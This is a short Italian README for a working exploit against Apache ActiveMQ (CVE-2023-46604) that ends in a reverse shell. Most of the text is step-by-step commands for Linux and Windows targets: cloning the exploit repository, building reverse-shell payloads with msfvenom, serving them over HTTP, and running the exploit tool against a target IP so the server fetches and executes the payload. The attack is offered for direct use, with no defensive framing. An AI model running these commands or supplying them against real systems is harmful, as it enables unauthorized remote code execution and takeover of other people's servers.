
Realizzare un exploit di reverse shell per Apache ActiveMQ (CVE_2023-46604)
Questo exploit si basa sul lavoro fondamentale disponibile su https://github.com/X1cT34m (https://github.com/X1r0z/ActiveMQ-RCE). Abbiamo ulteriormente sviluppato la tecnica per ottenere una reverse shell utilizzando il Metasploit Framework (https://github.com/rapid7/metasploit-framework).
Importante: Cambiare manualmente l'indirizzo IP (0.0.0.0 sulla riga 11) nei file XML con l'indirizzo IP in cui verrà generato il payload. Se segui i comandi seguenti, sarà il tuo indirizzo IP di ascolto. Inoltre {IP_Of_Hosted_XML_File} sarà il tuo indirizzo IP di ascolto.
Per target Linux/Unix
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f elf -o test.elf
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-linux.xml
Per target Windows
git clone https://github.com/SaumyajeetDas/CVE-2023-46604-RCE-Reverse-Shell
cd CVE-2023-46604-RCE-Reverse-Shell
msfvenom -p windows/x64/shell_reverse_tcp LHOST={Your_Listener_IP/Host} LPORT={Your_Listener_Port} -f exe -o test.exe
python3 -m http.server 8001
./ActiveMQ-RCE -i {Target_IP} -u http://{IP_Of_Hosted_XML_File}:8001/poc-windows.xml



Un ringraziamento speciale a https://github.com/Anon4mous per il supporto attivo.